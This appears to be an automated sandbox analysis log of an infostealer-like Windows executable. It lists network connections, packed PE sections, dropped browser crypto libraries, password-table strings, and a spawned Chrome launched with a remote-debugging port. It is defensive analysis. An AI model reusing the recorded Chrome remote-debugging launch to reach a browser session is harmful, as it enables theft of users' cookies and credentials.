Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.4:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:50012 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C7662C0 PR_dtoa,PR_GetCurrentThread,strlen,NtFlushVirtualMemory,PR_GetCurrentThread,memcpy,memcpy,

0_2_6C7662C0

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EAC60	0_2_6C5EAC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BAC30	0_2_6C6BAC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A6C00	0_2_6C6A6C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DECC0	0_2_6C5DECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63ECD0	0_2_6C63ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AED70	0_2_6C6AED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70AD50	0_2_6C70AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C768D20	0_2_6C768D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76CDC0	0_2_6C76CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E4DB0	0_2_6C5E4DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C676D90	0_2_6C676D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67EE70	0_2_6C67EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C0E20	0_2_6C6C0E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EAEC0	0_2_6C5EAEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680EC0	0_2_6C680EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666E90	0_2_6C666E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2F70	0_2_6C6A2F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64EF40	0_2_6C64EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E6F10	0_2_6C5E6F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C720F20	0_2_6C720F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BEFF0	0_2_6C6BEFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E0FE0	0_2_6C5E0FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C728FB0	0_2_6C728FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EEFB0	0_2_6C5EEFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B4840	0_2_6C6B4840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C630820	0_2_6C630820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66A820	0_2_6C66A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E68E0	0_2_6C6E68E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C618960	0_2_6C618960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C636900	0_2_6C636900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FC9E0	0_2_6C6FC9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6149F0	0_2_6C6149F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6709A0	0_2_6C6709A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69A9A0	0_2_6C69A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A09B0	0_2_6C6A09B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65CA70	0_2_6C65CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C698A30	0_2_6C698A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68EA00	0_2_6C68EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65EA80	0_2_6C65EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E6BE0	0_2_6C6E6BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680BA0	0_2_6C680BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F8460	0_2_6C5F8460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C644420	0_2_6C644420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66A430	0_2_6C66A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6264D0	0_2_6C6264D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67A4D0	0_2_6C67A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70A480	0_2_6C70A480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C642560	0_2_6C642560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680570	0_2_6C680570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C728550	0_2_6C728550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C638540	0_2_6C638540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E4540	0_2_6C6E4540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AA5E0	0_2_6C6AA5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66E5F0	0_2_6C66E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D45B0	0_2_6C5D45B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63C650	0_2_6C63C650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63E6E0	0_2_6C63E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67E6E0	0_2_6C67E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6046D0	0_2_6C6046D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C660700	0_2_6C660700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60A7D0	0_2_6C60A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62E070	0_2_6C62E070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AC000	0_2_6C6AC000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A8010	0_2_6C6A8010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D8090	0_2_6C5D8090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BC0B0	0_2_6C6BC0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F00B0	0_2_6C5F00B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C648140	0_2_6C648140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C656130	0_2_6C656130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C4130	0_2_6C6C4130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E01E0	0_2_6C5E01E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C668260	0_2_6C668260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C678250	0_2_6C678250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B8220	0_2_6C6B8220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AA210	0_2_6C6AA210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7662C0	0_2_6C7662C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B22A0	0_2_6C6B22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AE2B0	0_2_6C6AE2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C722370	0_2_6C722370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FC360	0_2_6C6FC360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C676370	0_2_6C676370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E8340	0_2_6C5E8340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E2370	0_2_6C5E2370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C652320	0_2_6C652320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6343E0	0_2_6C6343E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6123A0	0_2_6C6123A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63E3B0	0_2_6C63E3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E3C40	0_2_6C5E3C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C709C40	0_2_6C709C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F1C30	0_2_6C5F1C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A1CE0	0_2_6C6A1CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71DCD0	0_2_6C71DCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67FC80	0_2_6C67FC80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C643D00	0_2_6C643D00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B1DC0	0_2_6C6B1DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D3D80	0_2_6C5D3D80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C729D90	0_2_6C729D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73BE70	0_2_6C73BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C765E60	0_2_6C765E60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EDE10	0_2_6C6EDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C603EC0	0_2_6C603EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C615F20	0_2_6C615F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C737F20	0_2_6C737F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D5F30	0_2_6C5D5F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68BFF0	0_2_6C68BFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FDFC0	0_2_6C6FDFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C763FC0	0_2_6C763FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C601F90	0_2_6C601F90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63D810	0_2_6C63D810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6138E0	0_2_6C6138E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73B8F0	0_2_6C73B8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BF8F0	0_2_6C6BF8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67F8C0	0_2_6C67F8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ED8E0	0_2_6C5ED8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65F960	0_2_6C65F960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69D960	0_2_6C69D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695920	0_2_6C695920
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72F900	0_2_6C72F900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6459F0	0_2_6C6459F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6779F0	0_2_6C6779F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6799C0	0_2_6C6799C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6199D0	0_2_6C6199D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F1980	0_2_6C5F1980
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B1990	0_2_6C6B1990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C769A50	0_2_6C769A50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6DDA30	0_2_6C6DDA30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61FA10	0_2_6C61FA10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C681A10	0_2_6C681A10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E1AE0	0_2_6C5E1AE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BDAB0	0_2_6C6BDAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BFB60	0_2_6C6BFB60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62BB20	0_2_6C62BB20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C627BF0	0_2_6C627BF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C639BA0	0_2_6C639BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A9BB0	0_2_6C6A9BB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D1B80	0_2_6C5D1B80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C5B90	0_2_6C6C5B90

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C7609D0 appears 301 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C603620 appears 93 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C76D930 appears 56 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C719F30 appears 50 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C609B10 appears 97 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C63C5E0 appears 35 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C76DAE0 appears 69 times

Source: file.exe, 00000000.00000002.2129453122.000000006F902000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: fcyxulxu ZLIB complexity 0.995107030089153

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@17/37@6/7

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C640300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6C640300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\LUI3X9PJ.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2128773325.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2123081306.000000001D479000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2128773325.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2123081306.000000001D479000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2128773325.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2123081306.000000001D479000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2128773325.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2123081306.000000001D479000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2128773325.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2123081306.000000001D479000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2128773325.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2123081306.000000001D479000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2128773325.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2123081306.000000001D479000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1951877283.000000001D374000.00000004.00000020.00020000.00000000.sdmp, JJDBFCAEBFIJJKFHDAEC.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2128773325.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2123081306.000000001D479000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2128773325.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2123081306.000000001D479000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2256 --field-trial-handle=1908,i,11351815084681940783,16203471309566197544,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2256 --field-trial-handle=1908,i,11351815084681940783,16203471309566197544,262144 /prefetch:8	Jump to behavior
